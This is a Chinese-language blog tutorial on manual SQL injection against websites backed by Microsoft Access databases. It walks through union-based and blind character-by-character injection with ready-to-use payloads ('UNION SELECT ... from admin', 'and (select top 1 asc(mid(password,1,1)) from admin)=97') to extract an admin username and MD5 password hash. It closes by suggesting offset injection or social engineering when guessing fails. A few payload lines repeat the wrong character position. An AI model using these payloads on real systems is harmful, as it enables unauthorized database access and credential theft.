Access手工注入详解

作者: FiveAourThe | 来源:发表于2018-06-29 23:19 被阅读21次

    Access数据库知识点

    简介

    Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是Microsoft Office 的系统程序之一。

    Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。

    Access数据结构

    Access数据库

                  表名

                         列名

                                数据

    注意:Access数据库只有一个数据库。


    Access数据库结构

    Access注入

    注入方法

    联合查询法(兼容性差)

    逐字猜解法(兼容性好)

    联合查询法

    联合查询法基本流程

    第一步:判断注入

    第二步:确定列名的数目

    第三步:猜解表名

    第四步:猜解列名

    第五步:爆出数据

    详细步骤

    第一步:判断注入

    语句and 1=1,返回正常。
    语句and 1=2,返回错误。 

    这种情况说明存在注入点。

    第二步:确定列名的数目

    语句order by 列名数

    语句order by 22 返回正常
    语句order by 23 返回错误

    这说明该数据表只有22个列名。

    可能这里会有小伙伴不懂了。这是查询哪一个表的列名呢?答案是product表的列名。

    为了更加深入理解,我们从查看一下数据表product是否真的是22个列名。

    通过计数,发现果然是22个列名。

    product表确实有22个列名

    第三步:猜解表名

    语句UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 表名

    语句UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin


    猜解表名

    猜解表名会返回两个数字3和15,说明admin表中有两个和前面语句列表相同的字段。

    第四步:猜解列名

    语句UNION SELECT 1,2,列名一,4,5,6,7,8,9,10,11,12,13,14,列名二,16,17,18,19,20,21,22 from 表名。

    把上面得到的那两个数字中替换成表中的用户名与密码字段名

    语句UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

    猜出列名则会返回数据。

    第五步:爆出数据

    获取到数据

    �得到用户名admin,密码a48e190fafc257d3(md5加密过后的密码)。

    逐字猜解法

    逐字猜解法基本流程

    第一步:判断注入

    第二步:查询表名

    第三步:查询列名

    第四步:先确定长度,再猜解数据

    详细步骤

    第一步:判断注入

    我们还可以使用单引号来快速判断注入点。

    单引号判断注入点

    第二步:查询表名

    语句and exists (select * from 表名)

    语句and exists (select * from admin)

    返回正常则说明存在admin数据表。

    查询表名

    第三步:查询列名

    语句and exists (select 列名 from 表名)

    语句and exists (select admin from admin)

    返回正常,则说明存在admin这个列名。

    查询是否有admin列名

    语句and exists (select password from admin)

    返回正常,则说明存在password这个列名。

    查询是否有password列名

    第四步:先确定长度,再猜解数据

    确定admin列第一行数据的长度。

    语句and (select top 1 len(admin) from admin) =5

    //top 1子句含义为查询结果只显示首条记录。

    //len()取长度

    返回正常,则说明admin第一行的数据长度为5。

    获取admin首行记录内容长度

    确定password列第一行数据的长度。

    语句and (select top 1 len(password) from

    admin) =16

    返回正常,则说明password第一列的数据长度为16。

    获取password首行长度

    然后我们逐字猜解数据,逐字猜解我们需要通过用到ASCII表,具体如下图所示:

    ��

    ASCII表

    猜解admin第一列数据内容:

    语句and (select top 1 asc(mid(admin,1,1)) from admin) =97 返回正常,第一位为a

    语句and (select top 1 asc(mid(admin,2,1)) from admin) =100 返回正常,第二位为d

    语句and (select top 1 asc(mid(admin,3,1)) from admin) =109 返回正常,第三位为m

    语句and (select top 1 asc(mid(admin,3,1)) from admin) =105 返回正常,第四位为i

    语句and (select top 1 asc(mid(admin,3,1)) from admin) =110 返回正常,第五位为n

    最终得到数据为admin。

    猜解password第一列数据内容:

    语句and (select top 1 asc(mid(password,1,1)) from admin) =97 返回正常,第一位为a。

    语句and (select top 1 asc(mid(password,2,1)) from admin) =52 返回正常,第二位为4。

    语句and (select top 1 asc(mid(password,3,1)) from admin) =56 返回正常,第三位为8。

    语句and (select top 1 asc(mid(password,4,1)) from admin) =101 返回正常,第四位为e。

    语句and (select top 1 asc(mid(password,5,1)) from admin) =49 返回正常,第五位为1。

    语句and (select top 1 asc(mid(password,6,1)) from admin) =57 返回正常,第六位为9。

    语句and (select top 1 asc(mid(password,7,1)) from admin) =48 返回正常,第七位为0。

    语句and (select top 1 asc(mid(password,8,1)) from admin) =102 返回正常,第八位为f。

    语句and (select top 1 asc(mid(password,9,1)) from admin) =97 返回正常,第九位为a。

    语句and (select top 1 asc(mid(password,10,1)) from admin) =102 返回正常,第十位为f。

    语句and (select top 1 asc(mid(password,11,1)) from admin) =99 返回正常,第十一位为c。

    语句and (select top 1 asc(mid(password,12,1)) from admin) =50 返回正常,第十二位为2。

    语句and (select top 1 asc(mid(password,13,1)) from admin) =53 返回正常,第十三位为5。

    语句and (select top 1 asc(mid(password,14,1)) from admin) =55 返回正常,第十四位为7。

    语句and (select top 1 asc(mid(password,15,1)) from admin) =100 返回正常,第十五位为d。

    语句and (select top 1 asc(mid(password,16,1)) from admin) =51 返回正常,第十六位为3。

    最终得到数据a48e190fafc257d3。

    总结

    联合查询法很快但是兼容性差,逐字猜解法很慢且繁琐但是兼容性好。由于Access数据库只能靠暴力猜解,因此经常会网站猜解不到列名,这样的话可以使用偏移注入,猜解不到表名的话可以使用社工。

    相关文章

      网友评论

        本文标题:Access手工注入详解

        本文链接:https://www.haomeiwen.com/subject/bryzyftx.html